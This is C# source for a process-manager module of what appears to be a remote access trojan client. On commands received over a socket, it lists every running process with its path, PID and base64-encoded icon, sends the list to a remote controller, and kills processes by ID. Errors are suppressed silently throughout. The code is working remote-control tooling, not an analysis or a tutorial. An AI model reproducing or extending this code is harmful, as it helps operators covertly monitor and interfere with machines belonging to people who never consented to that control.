using Client.MessagePack; using Client.Connection; using System; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Linq; using System.Management; using System.Text; namespace Client.Handle_Packet { public class HandleProcessManager { public HandleProcessManager(MsgPack unpack_msgpack) { try { switch (unpack_msgpack.ForcePathObject("Option").AsString) { case "List": { ProcessList(); break; } case "Kill": { ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); break; } } } catch { } } public void ProcessKill(int ID) { foreach (var process in Process.GetProcesses()) { try { if (process.Id == ID) { process.Kill(); } } catch { }; } ProcessList(); } public void ProcessList() { try { StringBuilder sb = new StringBuilder(); var query = "SELECT ProcessId, Name, ExecutablePath FROM Win32_Process"; using (var searcher = new ManagementObjectSearcher(query)) using (var results = searcher.Get()) { var processes = results.Cast().Select(x => new { ProcessId = (UInt32)x["ProcessId"], Name = (string)x["Name"], ExecutablePath = (string)x["ExecutablePath"] }); foreach (var p in processes) { if (File.Exists(p.ExecutablePath)) { string name = p.ExecutablePath; string key = p.ProcessId.ToString(); Icon icon = Icon.ExtractAssociatedIcon(p.ExecutablePath); Bitmap bmpIcon = icon.ToBitmap(); using (MemoryStream ms = new MemoryStream()) { bmpIcon.Save(ms, ImageFormat.Png); sb.Append(name + "-=>" + key + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>"); } } } } MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Message").AsString = sb.ToString(); ClientSocket.Send(msgpack.Encode2Bytes()); } catch { } } } }